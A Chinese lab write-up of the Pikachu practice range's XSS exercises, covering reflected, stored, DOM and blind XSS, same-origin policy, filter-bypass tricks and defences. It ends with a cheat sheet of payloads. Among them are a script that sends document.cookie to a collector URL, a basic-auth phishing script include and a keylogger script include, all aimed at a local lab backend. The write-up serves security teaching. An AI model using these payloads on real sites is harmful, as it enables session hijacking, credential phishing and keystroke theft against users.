PIKACHU之XSS破解

一、概述

1、跨站脚本漏洞概述

1)XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位

2)XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户

3)XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主句进行远程控制

2、跨站脚本漏洞常见类型:危害 存储型>反射型>DOM型

反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面等

存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面

DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性

3、跨站脚本漏洞测试流程

1)在目标站点找到输入点,比如查询接口、留言板等

2)输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理

3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)

4)提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

TIPS:

  1. 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行
  3. 通过变化不同的cript,尝试绕过后台过滤机制

4、XSS漏洞形成的原因:

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当做有效代码解析执行从而产生危害

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入

输出过滤:根据输出点的位置对输出到前端的内容进行适当转义

演示:

1、反射型XSS

首先输入这些,里面包括特殊字符,观察是否会对特殊字符进行过滤

发现特殊字符并不会进行特殊处理,输入的原封不动的传入到了前端,所以我们现在输入一个由具体含义的js代码,观察是否会被执行

发现前端对输入框进行了限制,我们可以打开开发者工具,对输入字符长度进行修改,修改为20000

输入<script>alert(&apos;xss&apos;)</script>,被输入输出之后成功在浏览器执行了,这就是一个反射型XSS,数据从前端接口输入,到后端接收,又输出,其实后端没有对其进行存储,重新刷新页面,代码就没有了

http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=submit,get方式在url中进行显示,提交到后台,在浏览器里面访问一下,就会提交刚才的js代码被执行

2、存储型XSS演示和原理分析

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称为“永久性”XSS”

演示:

输入留言之后,会在下方显示,且刷新之后依然会有,说明是存储型的,保存在后台中,不会消失

代码中观察一下提交的位置,没有做任何的过滤和转义的处理

流程为从前端把这一串字符提交给后台,后台保存之后从页面上刷新进行显示,同时被前端浏览器执行弹窗,刷新之后依然会弹框,因为刚刚的留言已经被存在数据库里面,每次去访问这个页面,都会从数据库里面把这个留言加载出来,然后触发脚本运行

3、DOM型XSS演示和原理分析

  1. 什么是DOM

通过js,可以重构整个HTML文档,您可以添加、移除、改变或者重排页面上的项目,要改变页面上的某个东西,js需要获得对HTML文档中的所有元素进行访问的入口。这个入口,连同对HTML元素进行添加,移动,改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM),所以,你可以把DOM理解为一个一个访问HTML的标准编程接口

  1. DOM型XSS演示

通过input输入直接通过dom的方法document.getElementById传到str,然后通过innerHTML输入到dom,<a href=&apos;"+str+"&apos;>what do you see?</a>进行闭合,通过构造闭合执行我们输入的代码,<a href=&apos;#&apos; οnclick="alert(111)">&apos;>what do you see?</a>,#&apos; οnclick="alert(111)">,这就是我们构造的payload,也就是说,当我们输入这个内容,按照预期,会通过dom方法获取输入,并且输出到div中

window.location.search是获取浏览器里面的参数,url传参里面的参数内容获取到,然后进行url解码,然后用特殊字符进行分隔,所以形成漏洞的点主要在于url中会显示我们输入的内容

你没法确认dom型的XSS的输入点到底是从哪里获取的啊?那如果是从url里面来获取的参数,那就意味着我们是可以通过url来注入对应的恶意的js代码。

  1. XSS漏洞测试:cookie的窃取和利用

攻击者就可以直接把这个带有恶意js的这个url发送给用户,然后呢用户去访问,用户去点击,点击的时候呢,这个恶意的js就会在用户的浏览器端去执行啊,那这个js实际上是做了什么事情呢?他会把用户本地的cookie信息给读到。然后再发送给这个攻击者他的后台,那攻击人就可以通过他的后台。来拿到用户的这个信息啊,然后攻击者就可以通过获取到了这个登录的cookie,去伪造用户登录目标网站啊。这是这个整个实验的一个思路啊

首先我们需要安装好pkxss这个平台

实验目的是获取用户的cookie,发送到xss后台,

<script>document.location = &apos;http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=&apos; + document.cookie;</script>,这是我们构造好的payload

成功之后页面为

因为是get方式提价,所以我们可以通过链接方式发送给用户,用户点击之后就可以将cookie发送到攻击者后台

链接为:

http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

  1. XSS漏洞测试:钓鱼攻击

在一个存在着xss漏洞的一个页面上,去嵌入一个请求,当用户打开了这个具有恶意代码的页面的时候,那这个页面实际上它会向我们远端的,也就是我们的后台去发送一个请求,那这个请求会返回一个什么呢?会返回一个要求他进行basic认证的一个头部啊,那这个时候在用户的界面上就会弹出一个。需要进行身份认证的这么一个提示框啊,那如果说用户的信息安全意识不是太够啊,如果他在这个地方输入了他登录当前这个网站的账号的密码,那这个账号密码就会被发送到pkxss后台记录下来

<script src = "http://127.0.0.1/pikachu/pkxss/xfish/fish.php></script>

  1. XSS漏洞测试:xss获取键盘记录
  1. 跨域:

http://   www  .  xyz.com   :   8080   /   script/test.j

协议     子域名  主域名         端口         资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域

我们把不同域之间请求数据的操作,称为跨域操作

  1. 跨域-同源策略

为了安全考虑,所有的浏览器都约定了“同源策略”,同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如:x.com域名下的javascript并不能操作y.com域下的对象

如果想要跨域操作,则需要管理员进行特殊的配置,比如通过:header(“Access-Control-Allow-Origin:x.com”)指定

Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的

<script src=”…”>js,加载到本地执行

<img src=”…”>图片

<link href=”…”>css

<iframe src=”…”>任意资源

  1. 为什么要有同源策略

A登陆了淘宝,攻击者向A发送一个恶意链接urlb:http://www.盗你cookie.com

如果没有同源策略,即:urlb上的js可以操作A的内容(如:获取cookie等)

有了同源策略,就限制了这种情况

再比如:一个恶意站点使用了<iframe src=”B站点登录页面”>,发送该恶意url到攻击对象,攻击对象登录之后如果没有同源策略,则A上的JS即可获取B站点的登录信息

演示:

他的场景不同点就在于这个js文件,那这个js文件其实是一个攻击的一个代码。那我们可以把这段js的放在我们的恶意站点上面,然后呢把这个js代码呢通过有漏洞的这个有xss漏洞的这个页面去调用啊,那这段js运行起来之后,他做了什么东西呢?实际上他就是在用户的页面上对用户的键盘输入去进行一个获取,然后再把它异步的发送给我们的攻击者的后台,它实现了这么一个功能。

这里设置允许跨域请求

<script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>为payload,结果为

  1. XSS盲打以及实验演示
  1. 什么是XSS盲打

前端数据交互的地方。数据框

请在这里输入您对我们的建议

输入后返回的结果:

您的建议我们已经收到,谢谢!

也就是说只有后台会看到前端输入的内容,从前端无法判断是否存在XSS

()0

提交之后并没有显示

我们可以登录管理员权限,查看后台信息,登录之后首先会弹窗,说明之前插入的代码已经生效了,本质还是存储型,攻击者直接在前端输入盗取cookie的脚本,然后当管理员登录后台之后,直接获取到管理员的cookie信息

  1. XSS绕过以及实验演示
  1. XSS绕过-过滤-转换
  1. 前端限制绕过,直接抓包重放,或者修改html前端代码
  2. 大小写,比如:<SCRIPT>aLeRT(111)</sCRIpt>
  3. 拼凑:<scri<script>pt>alert(111)</scri</script>pt>
  4. 使用注释进行干扰:<scri<!—test-->pt>alert(111)</scri<!—test-->pt>
  1. XSS绕过-过滤-编码

核心思路:

后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的便签,从而执行

在使用编码时需要注意编码在输出点是否会被正常识别和翻译

例子1:

<img src=x οnerrοr=”alert(‘xss’)”将alert(‘xss’)进行URL编码,可以执行吗>

<img src=x oneerror=”alert%28%27xss%27%29”/>

并不会执行,why?因为这些属性标签并不会正常解析这些编码

XSS绕过的姿势有很多,取决于你的思路和对前端技术的掌握技术

  1. 实验演示

发现后台对我们刚刚输入的<script>进行了绕过,那么我们就可以采用一些绕过的姿势来试一试

<SRCipt>alert(111)</scrIPT>,

观察源代码,发现只是对script的小写进行了正则表达式的验证,因此我们就可以试一试大写的

也可以用img标签<img src=x οnerrοr="alert(111)"/>

  1. XSS绕过-关于htmlspecialchars()函数

htmlspecialchars()函数把预定义的字符转换为HTML实体

预定义的字符是:

&(和号)成为&amp

“”成为&quot ‘’成为&#039 <成为&lt >成为&gt

可用的引号类型:ENT_COMPAT-默认,仅编码双引号

ENT_QUOTES编码双引号和单引号

ENT_NOQUOTES不编码任何引号

实验演示:

可以看出使用函数对我们输入的内容进行了编码,单引号没有做处理

输入q’ οnclick=‘alert(1111)’

前面的引号是为了闭合href,onclick就是一个新的语句

  1. XSS防范措施以及href和js实验演示
  1. 常见防范措施

总的原则:输入做过滤,输出做转义

过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字

转义:所有输入到前端的数据都根据输入点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义

  1. 实验演示

<script>
    $ms=&apos;x&apos;</script><script>alert(&apos;xss&apos;)</script>&apos;;
    if($ms.length != 0){
        if($ms == &apos;tmac&apos;){
            $(&apos;#fromjs&apos;).text(&apos;tmac确实厉害,看那小眼神..&apos;)
        }else {
//            alert($ms);
            $(&apos;#fromjs&apos;).text(&apos;无论如何不要放弃心中所爱..&apos;)
        }

    }

总结:

DOM型xss:#’ οnclick=”alert(‘xss’)”>

DOM型xss-x:#’ οnclick=”alert(‘xss’)”>,会传到url中,攻击者就可以借此产生恶意链接

反射型:<script>alert(‘xss’)</script>

Cookie收集:

<script>document.location = &apos;http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=&apos; + document.cookie;</script>

钓鱼攻击:<script src = "http://127.0.0.1/pikachu/pkxss/xfish/fish.php></script>

获取键盘记录:<script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>

Xss之盲打:<script>alert(“111”)</script>

Xss之过滤:<img src=x οnerrοr=”alert(111)”/>或者<SCriPT>alert(111)</ScRipt>

Xss之htmlspecialchars:q’ οnclick=’alert(11111)’

Xss之href输出:javascript:alert(111)

Xss之js输出:x’</script><script>alert (‘xss’)</script>

也属于反射型

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值